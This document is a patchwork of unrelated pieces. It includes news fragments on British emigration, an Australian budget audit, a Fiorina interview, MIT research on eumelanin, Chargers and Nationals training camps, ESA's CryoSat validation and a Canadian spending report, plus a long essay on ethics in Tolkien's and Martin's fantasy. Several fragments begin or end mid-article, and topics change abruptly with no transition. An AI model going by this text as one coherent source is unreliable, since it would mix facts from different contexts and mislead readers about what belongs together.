According to Mr de Bois, many of those who are leaving Britain are going to work for foreign-based aerospace, engineering and creative companies based in "growth economies" such as Hong Kong and countries in the Middle East.
The official figures show that under the Coalition more than 100,000 additional British citizens opted to move abroad last year.The number of British emigrants is now almost equivalent to the number of foreigners choosing to leave the country.
According to the OECD, a total of 1.28million highly-skilled British citizens are now living abroad, significantly more than any other developed economy.
There are 865,000 highly-skilled German citizens living abroad, and almost 400,000 highly skilled US citizens who have chosen to emigrate.
Mr de Bois said: "It is inevitable that the people we're talking about are going to prefer to go where the growth is greatest.
"We have got to persuade these people that they should stay here. We are losing the professional, skilled class."
Mr de Bois said that lower taxes and a “culture change” could help persuade highly-mobile and well-educated workers to stay in this country.
He said: “Why are we losing so many people from the pharmaceutical, aerospace and creative companies? It is because they feel they can get a higher quality of life, a better education for their children and a lower cost of living elsewhere.
“The government has identified this problem and is turning the economy around. We have now got to do a better sales job to encourage people to stay.”
The figures from the Office for National Statistics come amid growing concern that British graduates from the best universities are choosing to work abroad.
Almost one-in-10 British graduates from institutions such as Cambridge, Durham, Exeter and Oxford who found jobs in 2011 were working overseas. The rate jumped to 12 per cent among British students from St Andrews.
LABOR has accused Joe Hockey of selectively leaking details from his Commission of Audit, after a warning that $60 billion a year would have to be saved by 2023-24 for the Abbott government to reach its surplus target.
The commission’s finding, reported by The Australian, is understood to be based both on a further downgrade in tax revenue growth and on its belief that it is not realistic to assume there will not be any personal income tax cuts over the next 10 years.
Opposition treasury spokesman Chris Bowen today repeated his challenge to release the commission’s report ahead of Saturday’s half-Senate by-election in Western Australia.
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“I have a novel idea for Mr Hockey. Instead of selectively leaking your favourite bits out of the Commission of Audit, how about releasing all of the Commission of Audit for people in Australia to read,” Mr Bowen said in Sydney.
“Joe Hockey used to be known as Sloppy Joe because of his lack of attention to detail. Now he’s becoming known as Dodgy Joe, because of his addiction to spin and to budget deceit.
“In December he added $68 billion to the budget deficit — doubling the budget deficit — in order to spin that the budget situation was worse than it was inherited by current government, in order to soften people up for cuts to come in the May budget.”
The size of Mr Hockey’s savings task is equivalent to total federal spending on education or defence and will demand the axing of complete government functions and reductions in spending on pensions and allowances.
AUDIT: Hockey faces $60bn hole
Tony Abbott and Mr Hockey have been stepping up their rhetoric on the budget shortfall over the past week, the Treasurer emphasising a blowout in 2017-18 as a result of new programs such as the National Disability Insurance Scheme and the Prime Minister telling his backbenchers they must be prepared to sell a tough budget message.
A briefing note distributed by Mr Hockey’s office at the weekend contained long-term projections showing that revenue would rise from this year’s 22.9 per cent of GDP to 26 per cent by 2023-24, mostly as a result of inflation pushing an increasing share of people’s incomes into higher tax brackets, known as bracket creep. The note, which reflected the presentation Mr Hockey made to state treasurers on Friday, was based on figures in the midyear budget update released in December.
It showed that, even with strong revenue growth, the budget would still have a deficit of 0.5 per cent of GDP by 2023-24 which, with the economy expected to reach $2.5 trillion by that time, would be equivalent to $12.5bn.
The first of the commission’s two reports, which was handed to Mr Hockey on February 14, contains a “base case” for the budget outlook, which assumes revenue reaches no more than 25 per cent of GDP by 2023-24, a full percentage point lower than Mr Hockey’s projection.
The new revenue shortfall would increase the deficit in that year to more than $35bn. Achieving a surplus equivalent to 1 per cent of GDP in that year, as required under the commission’s terms of reference, raises the total savings needed above $60bn.
WALLACE: Ms. Fiorina, but that's where the money is. The money is in Medicare. The money is in Social Security. We've got the baby boomers coming. There is going to be a huge explosion of entitlement spending, and you call it a political question when I ask you to name one single entitlement expenditure you're willing to cut.
FIORINA: Chris, I believe that to deal with entitlement reform, which we must deal with, we ought to put every possible solution up on the table, except we should be very clear that we are not going to cut benefits to those nearing retirement or those in retirement.
But having said all of that, for years and years, career politicians, frankly, of both parties have said, Oh, no, the only way to cut spending is to deal with entitlements. It's the political third rail. And then they never get about the business of cutting out waste and inefficiency. They never get to the point of banning earmarks.
WALLACE: But we've been talking about waste, fraud and inefficiency --
FIORINA: Exactly. Exactly.
WALLACE: -- for 30 years. I covered Ronald Reagan in 1980 when he talked about it. There isn't that kind of money in waste, fraud, and inefficiency.
FIORINA: But you know what, Chris? The budget just keeps getting bigger and bigger and bigger. And every year as it gets bigger, particularly in the last two, there is more waste, fraud and inefficiency. And you're right, nobody ever gets around to it. It's why voters in California and, I believe, a lot of voters all across the country are tired of career politicians. [...]
WALLACE: I'm going to try -- I'm going to try one last time and if you don't want to answer it, Ms. Fiorina, you don't have to. [...] You're not willing to put forward a single benefit -- I'm not even talking about the people that are 60 or, let alone, 65 or 70. I'm talking about people under 55.
You're not willing to say there's a single benefit eligibility for Medicare, Medicaid or Social Security that you're willing to say, Yeah, I would cut that?
Now researchers at MIT and other institutions have solved that mystery, potentially opening the way for the development of synthetic materials that could have similar light-blocking properties. The findings are published this week in the journal Nature Communications by graduate students Chun-Teh Chen and Chern Chuang, professor of civil and environmental engineering Markus Buehler, and three others.
Although eumelanin has been known for decades, pinning down its molecular structure, and identifying the reasons for its broadband light absorption, have been daunting tasks. This is, in part, because of the very characteristics that make it so interesting: Typically, the constituents of a chemical compound can be determined through spectroscopy, among other tools, but in the case of eumelanin the spectrographs don’t show the sharp peaks that are ordinarily useful in identification. So indirect means of analysis were needed.
The team used a combination of computation and experimental analysis to derive the structure of the material, finding that a major source of the broadband absorption was the physical arrangement of the constituents, not their chemical characteristics. Specifically, the combination of disorder and order in the physical arrangement produces a “smearing” of the material’s spectral absorption, and providing its crucial broadband blocking ability.
“You can’t do traditional analytical chemistry on this particular system,” Chuang, a graduate student in chemistry, says, “where you isolate each component. Only indirect ways of probing” can be used, he says.
The disorder that turned out to be key, the team says — a physical disorder called “geometric disorder” — is different from the chemical disorder that other researchers have studied. It turns out that both kinds of disorder may play a complementary role in producing eumelanin’s broadband absorption.
The material forms tiny crystals — a chemically ordered state — but with intrinsic randomness, such that the orientations of the stacked molecules can be arbitrary and the sizes of the crystals different, forming aggregate structures that are highly disordered. That combination of order and disorder contributes to eumelanin’s broadband absorption, the team found.
“It’s a naturally existing nanocomposite,” Buehler says, “that has very critical macroscopic properties as a result of the nanostructure.”
While eumelanin molecules all share a basic chemistry, more than 100 variations of that composition exist; the slight variations from one molecule to another may contribute to the disorder that broadens the ability to absorb light, Buehler says. “The jury is still out on which is more important,” he says.
Understanding the origins of eumelanin’s optical properties could help guide the creation of new synthetic materials, Buehler says. These insights may be useful in developing materials for applications such as pigments, he says, or in improving the efficiency of solar cells.
While this analysis still leaves open questions about the precise structure of eumelanin molecules, Buehler says, “Building an accurate structural model is one of our big aims.”
A similar combination of computational modeling based on quantum mechanics, molecular dynamics, and direct observation using electron microscopy “can probably be applied to many systems,” Buehler says. “It’s a methodological advance that is validated because this system has such unique optical properties, which we can reproduce. It shows the method can be useful.”
Sergei Tretiak, a researcher in the theoretical division at Los Alamos National Laboratory who was not involved in this research, says that understanding eumelanin’s structure was “a scientific puzzle for a long time.” The new work, he says, “provides a somewhat unexpected answer to this conundrum.” The researchers’ approach, he says, “exemplifies a multidisciplinary approach to [a] complex problem, where a single method is unable to provide a satisfying answer.”
For a second straight day rookie Chris Watt worked with the starters at right guard, with Johnnie Troutman working at right guard with the second unit. Both are filling in until last year’s starter, Jeromey Clary, returns from the physically unable to perform list after offseason shoulder and hip surgery.
For the most part, Watt has been assignment correct and held his own during one-on-one pass drills. But another measuring point for the third round selection out of Notre Dame will be how he performs against Dallas on Aug. 7 at Qualcomm Stadium.
Speaking of rookies, second-round selection Jeremiah Attaochu continues to flash speed and athleticism in his first week of training camp. The Georgia Tech product has been used as a pass rush specialist in passing situations.
However, at times Attaochu has been a little overzealous in pursuing the ball carrier. Attaochu was beat on a wheel route by Ryan Mathews and tackled him by legs, a no-no during team drills when players are supposed to keep hitting above the waist.
And while rushing the passer, Attaochu pushed tackle Michael Harris back in to quarterback Kellen Clemens, who hit his hand on Harris’ helmet following through on a pass down the field. But the Chargers can live with Attaochu’s enthusiasm, as long as he’s playing aggressive and making plays.
Jarret Johnson, Dwight Freeney and Antonio Gates returned to practice after taking rest days on Sunday. Receiver Vincent Brown remained out for a third straight day with a calf injury. And Melvin Ingram also did not practice, apparently taking a rest day for his surgically repaired knee. Clary remains on the PUP list.
Mathews moved well working with the offense in two-minute drills on Tuesday. After catching a pass out on the flat, Mathews made a nice open-field move to avoid an oncoming Manti Te'o. Mathews also showed nimble feet finding cutback lanes in the run game.
Perhaps Mathews had some extra motivation with LaDainian Tomlinson on hand for Monday’s practice. Now an analyst for the NFL Network, the former San Diego running back talked with his former teammates like Rivers and Gates, along with Mathews and Dwight Freeney, after practice.
by Staff Writers
Paris, France (ESA) Mar 30, 2012
Validating the data from ESA's CryoSat ice mission takes scientists to some of the most inhospitable places on Earth. This photo shows the camp where scientists spend around three months at a time taking measurements in the blue ice region of Antarctica. Credits: TU Dresden.
Field measurements in the spectacular blue ice region of Antarctica not only provide confidence in the accuracy of ESA's CryoSat mission, but have also shown that this part of the ice sheet has increased in height.
Making sure that CryoSat is delivering accurate data to work out precisely how the thickness of Earth's ice is changing is a continuing effort, and one that takes teams of scientists to some of the harshest environments on the planet. These particular campaigns were carried out on a desolate plateau known as the blue ice region, which lies on the edge of Antarctica. As its name suggests, this unique region features a vast expanse of polished blue ice, devoid of snow.
It is precisely this lack of snow and unusual icy surface that makes the region very useful for determining the accuracy of CryoSat's radar altimeter.
The lack of snow in this part of Antarctica means that radar signals emitted by CryoSat's altimeter bounce straight off the glistening ice and back to the satellite.
The height of the ice is then determined from the difference in time between the signal being emitted and received.
Since ice is usually covered by a layer of snow, the signal normally has to penetrate this top layer before reaching the ice - a fact that might influence CryoSat's measurements of ice height.
Measurements from the hard shiny surface of the blue ice are therefore extremely valuable for checking against CryoSat's data.
While the field experiments are designed for validation purposes, the analysis of measurements from two campaigns in 2008-09 and 2010-11 has shown some surprising results: it reveals that this part of Antarctica actually increased in height by an average of 9 cm between the two periods.
Scientists from the Technical University (TU) of Dresden braved extreme weather to map subtle changes in the height of the ice over 2500 sq km. The measurements were taken on the ground with sophisticated GPS equipment towed by snowmobiles.
Scientists from the Alfred Wegner Institute also took measurements from an aircraft with an instrument that simulates CryoSat's radar altimeter.
After analysis of the data collected in the campaigns, and the fact that other datasets going back 20 years are available, the scientists determined changes in the height of the ice for three different periods.
In 1991-2000, there was a drop of about 5 cm, a trend that continued in 2000-08. However, the third period in 2008-10 shows this unexpected rise.
Reinhard Dietrick from TU Dresden said, "This interesting result showing the reversal in height is thanks to the campaigns before the launch of CryoSat in 2010.
"The results are, of course, preliminary but with this reversal in mind, it would be very interesting to see if the increase in height remains in the future."
At the other end of the planet, another campaign dedicated to CryoSat is taking off this week. Teams from ESA, NASA, Europe and Canada are now converging in the high Arctic to take measurements from the ice and from the air as CryoSat orbits above.
Kevin Page puts the short-term situation in perspective.
Ottawa’s ongoing planned restraint and 6.9 per cent cut in departmental spending will reduce its share of the economy from 7.3 per cent in 2010-11 to 5.5 per cent in 2016-17. That will have a direct impact on the economy, Page’s report stresses. It projects the spending restraints and cutbacks will reduce economic output by 0.3 per cent this year, climbing to 0.88 per cent in 2014.
Early Fantasy literature, with its black-and-white morality, was very comfortable making statements about ethics. I’m using ‘ethics’ in a broad sense here: I don’t just mean questions about what a person should do in a difficult situation (though such questions are definitely a mainstay of Fantasy literature and merit discussion), but rather broader questions about how a person should be and how the world should be.
Recently, we’ve seen a backlash against black-and-white morality and a move towards so-called “grey” Fantasy. While I think it is very important to be cognizant of and think critically about the potential pitfalls of black-and-white Fantasy, I would argue that grey Fantasy is not without pitfalls of its own. Moreover, the ability to make statements about ethics is, I think, one of the great strengths of Fantasy literature, and as authors and lovers of the genre, we should embrace it.
Tolkien and the Heroic Myth Tradition
We can argue until the Elves sail back from Valinor about whether J.R.R. Tolkien “invented” the Fantasy genre. But the extent of his influence on later authors cannot be understated. Whether they emulate, criticize, re-interpret, or react to him, nearly every Fantasy author since Tolkien has been informed by his work in some way.
And Tolkien was in turn influenced by the stories of Beowulf, Arthur, and other Norse sagas, as many commentators have noted. These stories were part of a very old storytelling tradition that we can call the heroic myth. In the heroic myth, we get an idealized hero. This person is not meant to be understood as a relatable human being, but rather an example of someone being the best that a person can be at some thing. The story structure is usually like this: There’s a problem. Hero is really good at [thing] and thereby solves the problem. So (this part can be implicit or explicit based on authorial discretion), when you’re faced with a similar problem you should emulate the hero.
I think we can only understand Aragorn in Lord of The Rings as being an intentional invocation of this tradition by Tolkien. Our first clue should be that Tolkien specifically refers to him this way in the text. He is the heir to Isildur, a son of Númenor. This is a “race” of heroic men from an earlier age, already long gone when we enter Middle-Earth as readers. (We’ll talk more about race in LoTR in a bit.) This fact makes Aragorn revered among men by the end of the Third Age, in the same way that they would have revered a great hero of old.
Or, more precisely, that fact, coupled with Aragorn’s deeds during the events of LoTR, makes him revered. And, in fact, these deeds are another clue that we should understand Aragorn as a mythic hero. Aragorn seems to succeed spectacularly at just about everything that is required of him. He is an improbably (sometimes impossibly) good warrior and leader: he holds off the nearly indefatigable Ringwraiths long enough for a wounded Frodo to escape to safety. He turns the tide on the fields of Pelennor by convincing the ghosts of the Oathbreakers to fight for him. At the end of the Third Age, we are told in passing that he “ruled wisely for three hundred years.” Got that? He’s so good at ruling that his three hundred year reign was uneventful enough to be elided over. Also, he lived for several hundreds of years, which you may notice is not something men typically do.
Tolkien was writing in the 20th century, when psychological motivation and relatability had already come to be considered important in literature. And I don’t think it will be controversial to claim that flaws make a character relatable. Aristotle said as much 2300 years ago in his theorizing on what makes a good tragedy. Tolkien was not unaware of this convention, nor did he simply choose to ignore it. In fact, many critics believe that at least some of Tolkien’s motivation for making Aragorn nearly flawless was to force his readers to identify with the non-human but flawed and relatable hobbits. But that Tolkien understood the importance of flaws and relatable protagonists, and still made Aragorn this way, just lends more credence to the belief that he intended to elevate him to the level of myth. That there are flawed heroes in LoTR doesn’t change the fact that one of the main drivers of the plot, with whom we as readers spend much time, is basically a superhuman who harkens back to the mythic heroes of old.
Dangers of the Hero Myth
The upshot of having a mythic hero, though, is an implied endorsement of that character’s beliefs and behaviors. We can call this the Associative Property of Mythic Heroes: Once an author establishes a character as a mythic hero – that is to say, an ethically excellent exemplar – we must assume the author endorses all of that character’s subsequent actions and stated beliefs, unless we are given strong evidence otherwise. (Some possible examples of “strong evidence otherwise” might include action that a hero undertakes but expresses doubt about, or actions that a hero undertakes which has obviously bad results.)
This is a bold claim to make, but I think it’s fairly intuitive once we consider it for a bit. If you’re not quite on board with this idea, think of it this way: The mythic hero’s primary reason for being, as we established earlier, is a to be a vehicle for the author to demonstrate good ethical behavior. If the character ceases to perform this function reliably, then either the character is pointless (or, at least, the author has sacrificed relatability and gained nothing in return), or else we are just dealing with inconsistent characterization. Tolkien is too good a writer, I think, for any serious critic to honestly accuse him of either, so I think we must accept that the Associative Property defined above applies to Aragorn. We should also note that Tolkien probably would have been fine with this. As a devout Catholic, he likely saw little problem with propagating his notion of virtue to his readers through a hero myth.
This was a bold choice by Tolkien, and it has obviously resonated with many readers – myself included. But if we look to Aragorn as a guide to behavior, we’re going to find some gaps in important places. Granted, I think we can all agree that loyalty, bravery, and wisdom are all worth encouraging. But I would argue that, because everything works out so well for Aragorn, his notion of virtue is at best incomplete. It’s well and good (and relatively easy) to have a list of obligations that a good person should have. But what about when your obligations are at odds with each other, as will inevitably happen in the course of a real human life? A complete concept of human goodness must include some way to resolve such conflicts. If Aragorn is good at this, we never get to see him prove it in LoTR. It’s very convenient that Aragorn is both the lawful heir to the throne of Gondor, and obviously the best person to rule. But suppose, for example, that the lawful heir were someone else. Suppose this person were a much worse ruler than Aragorn would have been. Does Aragorn’s obligation to protect the free people of Middle-Earth outweigh his obligation to follow the laws of the realm in that case? Maybe Aragorn would know exactly what to do in such cases, but as we never see it, it creates a significant gap in the ethics of Tolkien’s most important work.
This problem isn’t limited to Aragorn either. The nature of Tolkien’s world (i.e. black-and-white morality) precludes even his flawed characters from exploring these important questions. Good actions produce good results in a fairly straightforward way. Two key examples come to mind. First, take Boromir. He gets greedy and tries to take the Ring for himself (that’s bad). But he comes to his senses in time to protect Frodo from the Uruk-hai (that’s good). He’s slain in the ensuing battle (that’s bad), but Frodo and Sam are able to escape and continue the journey to Mount Doom (that’s good). This case makes the nearly one-to-one correlation between good motivation and good results particularly obvious. But what happens when this isn’t the case? What should we do then? We don’t know in LoTR, because it doesn’t happen.
Later, in arguably the most important moral decision of the story, Frodo shows mercy to Gollum, despite Gollum’s repeated treachery (Remember that mercy is a virtue in Catholicism). This pays off when Frodo finds himself too attached to the Ring to destroy it. Gollum bites off Frodo’s finger with the Ring on it, and in his celebration falls into the fires of Mount Doom, thus destroying the Ring. This is a very clever way for Tolkien to resolve an insurmountable obstacle. But what if Frodo had needed to torture Gollum to get to Mount Doom? What if Gollum had taken good and innocent Sam with him when he fell? Is mercy good because we owe a certain standard of treatment to all sentient beings? Or is it good because “hey, you never know who might accidentally save the world one day”? These are important questions that Tolkien’s most important and influential work is unable, or disinclined, to answer.
Tolkien’s Ethical Missteps – Race
But there are also places where the version of goodness propagated by LoTR isn’t simply missing a section, but flat-out says something wrong, or least objectionable. For instance, the role that race plays in Middle-Earth has been discussed by many critics. Whether anything in Tolkien’s work can be mapped onto racism in our world (‘racism’ specifically meaning systematic subjugation or oppression on the basis of race) is a fair subject for debate, I think. On the one hand, the Elves, who we are told are the fairest and wisest of all beings by virtue of being Elves, are given traits that mark them as White within 20th century conceptions of race (e.g. “fairness,” the Scandinavian roots of their language). On the other, we must not let the interpretations of other artists skew our perception of Tolkien; those responsible for casting Peter Jackson’s now iconic film adaptations of LoTR made the extremely misguided decision to cast European-looking actors in every named role, while using Maori actors for the Orcs. This is despite some textual evidence that Tolkien himself did not picture Middle-Earth with all White good guys.
What is undeniable, though, is the presence of racialism in Tolkien’s work. Racialism is the belief that “races” of humans are essentially different and that race is a reliable predictor of character. It doesn’t take the further noxious step that racism takes in saying that some races are inherently better or worse, but there are still very good reasons to be critical of racialism. Namely, it takes for granted that “race” is a meaningful category of humanity despite there being no biological basis for this belief, reduces certain persons to a small number of strategically selected physical characteristics, and can serve as justification for the violence of overt racism (e.g., If those people are “naturally” prone to criminality, it is justified for the police to treat them more suspiciously). And in Tolkien, race is absolutely a meaningful category; it serves as reliable predictor of behavior and character. Aragorn is revered in part because of his “blood,” and himself does not hesitate to make broad generalizations about Elves, Dwarves, Orcs, the various kingdoms of men, etc. which nearly always prove to be right. Again, by the Associative Property, this can only come off as an authorial endorsement of these ideas.
Tolkien on Class and Gender
We can say something similar about the way Aragorn willfully participates in, and takes control of, a feudal monarchy. This has classist implications: “Feudalism was not kind to the lower classes” is possibly the greatest understatement of the last millenium. To assume that such a system would be benevolent if only a wise enough King took the throne glosses over the tremendous amount of exploitation required to keep such a system in place. And yet we have Aragorn, our mythic hero, our ethical exemplar, not merely passively allowing this system to exist, but actively perpetuating it.
Finally, we should mention the role of gender in LoTR. Aragorn embraces, without question or criticism, a code of chivalry. Chivalry is commonly criticized on the grounds of gender equality because it undermines the agency and personhood of women and makes men expendable. Aragorn does acknowledge the power and agency of Galadriel, but she’s practically a deity and as such doesn’t really count.
And then there’s Éowyn, who nearly breaks my thesis. She desires agency, and specifically a traditionally masculine form of agency – to ride to war with the Riders of Rohan. Aragorn, thinking in terms of chivalry, says her rightful place is caring for her people (care, we should note, is a traditionally feminine role), and that this duty is “no less valiant.” To use the parlance of today, it’s a bit mansplainy. But she laments this “cage” and worries that the opportunity for great deeds (“great deeds” in the context of a pseudo-Germanic warrior culture) will pass her by. Later she defies Aragorn by disguising herself as a man and riding into battle. And good thing she does, because she slays the Witch-King, which is a major turning-point in the Battle of the Pelennor Fields.
This marks maybe the only thing Aragorn is wrong about. So, I’m wrong in this case, right? This counts as the kind of “strong evidence otherwise” necessary to break free from the Associative Property of Mythic Heroes? Not quite, unfortunately. While recovering from her injuries after the battle, Éowyn meets and falls in love with Faramir. “Then the heart of Éowyn changed, or else at last she understood it…” She vows to be a shield-maiden no longer, but a healer instead (another traditionally feminine role), as though indicating that Aragorn’s advice had indeed seen through to some deep-down truth. We should also note that even when she did want to be a shield-maiden, the point was that she is exceptional; in a battle that everyone seems to know will decide the fate of the entire world, we meet one woman who thinks it may be worth her while to pick up a sword and shield.
That Tolkien comes so close to making an important progressive statement, but then hedges his bet, gives further support to what his biographers tend to believe: he wrote with the best of intentions, but failed to notice some of the mistakes his society made, as does nearly every human. Similarly with race, Tolkien’s personal correspondence revealed nothing but disgust for the racism he perceived in the world around him. But the whole point is that there were many worrisome attitudes about race that he did not consciously perceive, but just absorbed growing up as a member of the dominant class in the British empire during the early 20th century. Views such as these made it into his work, and because he was creating a heroic myth, it’s very hard to separate them from the other ethical content of his work. Again, mythic heroes endorse everything which they participate in and the author does not question. This is the primary risk of black-and-white fantasy: the author’s ethical lapses become the work’s ethical mistakes.
Martin and “Grey” Fantasy
After a boom of popularity among the 1960’s counter-culture, Lord of The Rings became the default template for Fantasy literature from the 1970’s through the early 1990’s. And since so many authors borrowed wholesale from Tolkien without much critical thought, his shortcomings became an entire genre’s shortcomings. In the years since, however, we’ve seen a move away from this style of fantasy and towards what is being called “grey” Fantasy. The author who has achieved the most widespread popularity in this style (and who is thus most likely to influence the next generation of fantasy writers) is George R.R. Martin, with his book series A Song of Ice and Fire and HBO’s accompanying TV adaptation Game of Thrones (named after the first book in the series). I mention the TV show both because of its popularity among people who don’t ordinarily consume Fantasy, and because Martin is an Executive Producer of the show and has written several of the teleplays.
Martin’s style of Fantasy allows him to sidestep some of the unfortunate implications we talked about with Tolkien. Earlier, I argued that a useful concept of goodness must take into account competing obligations which a person may have at any given time, and that Tolkien’s black-and-white morality precluded discussion of this. Martin acknowledges this head on. After being called an oathbreaker for the umpteenth time, Ser Jaime Lannister (reviled for killing the “Mad King” Aerys Targaryen whom he was sworn to protect) replies:
So many vows…they make you swear and swear. Defend the king. Obey the king. Keep his secrets. Do his bidding. Your life for his. But obey your father. Love your sister. Protect the innocent. Defend the weak. Respect the gods. Obey the laws. It’s too much. No matter what you do, you’re forsaking one vow or the other.
Martin doesn’t just have his characters muse about these questions, however. During the course of the story, characters struggle and arguably fail at making decisions about this sort of thing. (Spoilers for ASoIaF and GoT follow.) The paradigm example is probably Ned Stark. Ned was known as a brave and skillful warrior in his youth, genuinely cares about his family and his subjects, is loyal to his friends, and follows the law unwaveringly. He does this last part with a humble stoicism that is much more sympathetic than the callous manner with which Stannis Baratheon executes the law. All said, he’s the closest thing ASoIaF has to Aragorn (despite his uncanny physical resemblance to Boromir).
While serving as the Hand of King Robert Baratheon, Ned becomes aware that Robert’s heir, Joffrey, is not in fact Robert’s son but rather the child of incest between Queen Cersei Lannister and her brother, the aforementioned Ser Jaime. Ned knows that as soon as he tells Robert, Robert will have Cersei put to death. So he does what he thinks is honorable and tells Cersei what he knows, advising her to flee the capital. Instead of fleeing, she uses the advance notice to outmaneuver Ned. Robert dies from a hunting accident before Ned can tell him about Joffrey, Ned becomes Cersei’s prisoner, and Joffrey has him beheaded. In retaliation, Ned’s family declares war on the Lannisters, and the ensuing conflict ruins the realm, kills most of the Starks, and sends the rest into exile.
In general, mercy is probably a virtue, especially when dealing with children (and women, if you believe in chivalry, as Ned did). But unlike Frodo’s mercy towards Gollum, which was rewarded, Ned’s has terrible results for himself, his family, and the realm. In this case, does Ned’s obligation to protect his family and subjects outweigh his obligation to be merciful? The answer is, at the very least, far from obvious, and it’s a strength of Martin’s writing that he explores questions like this.
Martin-style grey Fantasy also sidesteps the Associative Property of Mythic Heroes. There are no mythic heroes in Martin, and he goes out of his way to show us this. By putting us in the heads of many different characters at different times, he shows that his most likable, heroic characters have many moments of weakness and failure, and that his villains have relatable motivations. In reading ASoIaF, one gets the constant sense that every person in the world of the story is a flawed, complicated human being. If you’re like me, and have been trained as a writer to respect characterization above all else, you might be tempted to say that Martin is a better writer than Tolkien. What I’m certainly willing to say is that Martin doesn’t force us to assume he endorses any of his characters more worrisome attitudes. When the the widely-adored Tyrion Lannister gives no thought to how the prostitutes he frequents came to be prostitutes and whether they are in a position to give meaningful sexual consent, we can acknowledge it as another one of his flaws and move on with the story. We know from elsewhere in the text that beloved characters can believe things which the author does not endorse or even flat-out condemns. Grey Fantasy acts as a sort of plausible deniability for the author’s inevitable ethical lapses. Furthermore, it is a plausible deniability which, we have seen, is not possible within a Tolkien-style, black-and-white, heroic myth.
Some Risks of “Grey” Fantasy
Of course, that doesn’t completely inoculate the author against saying things with unfortunate ethical implications. For all the good that comes of highly realistic (rather than mythical) characters whose actions have realistic (rather than fair or just) consequences, I think the upshot is that everything not obviously fantastical can have the illusion of realism. (I owe the basis of this idea to Jason Pargin, a.k.a. David Wong, author of the comedic supernatural horror John Dies at the End. I’ve linked one of his articles in the Recommended Reading section so you can see where he goes with this idea.) Just anecdotally, how often have you heard GoT praised for “showing things the way they were back then,” despite no real person having ever lived in Westeros? When so much fiction in the past has been sugar-coated or watered-down, it becomes easy to equate brutality with realism. So the risk with grey Fantasy is that the author’s historical mistakes or intentional distortions can come across as historical truth.
The historical fact of the matter is that real-life feudal-Europe did not have the lengthy instability and constant violence that we see in Westeros. While there certainly were short bursts of extreme brutality, the kind of prolonged total war we see in GoT was not sustainable in any medieval agrarian society. The reason is simple: The more peasants you kill, the less food there is. As a knight, your single greatest asset on the battlefield needs to eat between 10 and 20 lbs. of hay each day. You cannot afford to kill all the farmers and salt all the fields.
Historical distortions of this kind can have ethical consequences. As the excellent tumblr Medieval POC asserts, the only time in recorded history that we really see this kind of sustained brutality without a complete social collapse is during European colonialism. This was the first time that economy, technology, and culture aligned to make it possible. (Exactly why this was is complicated, but if you want to know more, I’ve included an article in the Recommended Reading section which provides an informative overview.) The ethical danger here is that, by making this type of violence – historically unique to colonialism – seem as though it predated colonialism, we may normalize it. That is to say, we may make it seem like a “natural” consequence of “human nature.” This threatens to shift the blame away from where it belongs – namely the specific cultural assumptions and economic structures which incentivized this brutality – and to blind us to the vestiges of these assumptions/structures which still generate systemic violence today.
A Call to Pens!
Though we should certainly be wary of such historical distortions, for me, that’s not even the most compelling reason to move back towards heroic myth in Fantasy writing. Let me get this out of the way: I love George R. R. Martin. I’ve devoured every book of ASoIaF so far, I’ve watched the HBO show religiously, and I’m salivating over Winds of Winter like the rest of you. I admire his mastery of his craft.
But I don’t turn to Martin for the things I usually turn to Fantasy literature for. I turn to Martin for the incredible depth of his characterization, for his intricately crafted, interwoven plots. I turn to him for the deliciousness of conversations between people who loathe each other but need to appear civil. In short, I love George R. R. Martin for the same reasons that I would love Downton Abbey if it had more stabbings and group sex. And none of this is to say that these things shouldn’t be valued in Fantasy or that Fantasy books aren’t better off for including them. It’s just to say that these are good qualities in any genre; they make for good Fantasy but they aren’t what Fantasy can do better than any other genre.
When I turn to Fantasy for the sake of Fantasy, it’s because I want to be shown something wondrous. It’s because there will always be a part of me that is twelve years old and thinks “man, it would be sweet if real life looked like the cover of a The Sword album.” But mostly, it’s because I agree with Tolkien that we still need myths. We still need heroes who are better than we could ever be, to provide us with an emotional roadmap through our muddy and complicated ethical intuitions. These types of stories have appeared cross-culturally since literally before we were able to write them down. I think that’s a pretty good sign that they touch on something important in the human psyche. All of this is why I advocate embracing the hero myth tradition, while staying aware of its pitfalls. The current backlash we are seeing against black-and-white morality in fantasy literature is not without justification. But I fear we’re losing one of the best things about Fantasy in the process.
If you feel, like I do, that a simplified ethics precludes you from examining some things you want to examine, then by all means bring in some of that complexity and nuance that makes Martin so great. All I’m saying is that it’s okay for you to write heroes, for those heroes to thrive in the end, and for your audience to know that they’re meant to be heroes. I’m not exactly sure what this type of Fantasy would look like that has both mythic heroes and ethical nuance. (Maybe the mythic hero has to sort through very murky decisions but is clever enough to see through to the important details, and is rewarded for that?) But it’s worth attempting, and I hope you’ll join me in my attempts.
If you’re about to point out that I just spent a few thousand words listing all the dangers with that style of writing, you’re right. But these two thoughts can be reconciled. This type of writing, if done successfully, gives the author a pretty significant amount of power to influence the beliefs of her readers. And you know the Spider-Man quote. Our responsibility, if you choose to join me in this proposed attempt at myth creation, is to think critically about what we say. We must think critically about what our heroes and the structures of our worlds say about ethics. We must think critically about what we explicitly and implicitly endorse.
You will get things wrong. Sam Harris is fond of saying “We will embarrass our descendants, just as our ancestors embarrass us. This is moral progress.” This is why we must keep our genre open to dialogue. We must be willing to listen, really listen, to criticism of both ourselves and our heroes. If you find yourself feeling extremely angry at such criticism, stop and self-examine a bit to see why that might be. See what cultural assumptions you’ve never before questioned might be holding you back. If you think the criticisms of Tolkien I’ve listed are off-base, and you’ve got evidence to back it up, call me to task. Highlight the times when Tolkien says something helpful about race or gender or class. What you must not say, in light of such criticisms is “you’re overthinking it. It’s just fantasy.” Or worse, “I’m not going to change my book because it hurts someone’s feelings.” If you think all this is about is hurt feelings, I think you’re selling our beloved genre very short.
So please, go out and write some mythology. Write some mythology that thinks hard about the vulnerable and marginalized, instead of fetishizing the power structures that marginalized them in the first place. You have freaking dragons at your disposal. Go make the world better with them.
Recommended Reading
Here are some articles which contributed significantly to my thoughts above:
For Further Thought
Do you think what I’ve called the “Associative Property of Mythic Heroes” is true? Can you imagine, or think of any examples of, a heroic myth which doesn’t implicitly endorse the actions and beliefs of the hero?
Do you think the criticisms of Tolkien that I’ve mentioned are fair? Can you give any good counter-examples?
Will you join me in the quest to create revised heroic myths? What are some ethical questions you’d like to see the new generation of fantasy authors discuss?
About the Author:
"He's working on his secondary pitches, of course, especially his breaking ball, he's working on. But as a pitcher he's very young." - Matt Williams on Blake Treinen earlier this spring
Invited to big league Spring Training, Treinen impressed with his 96-97 mph fastball.
Nationals' Manager Matt Williams singled the right-hander out for praise early this spring.
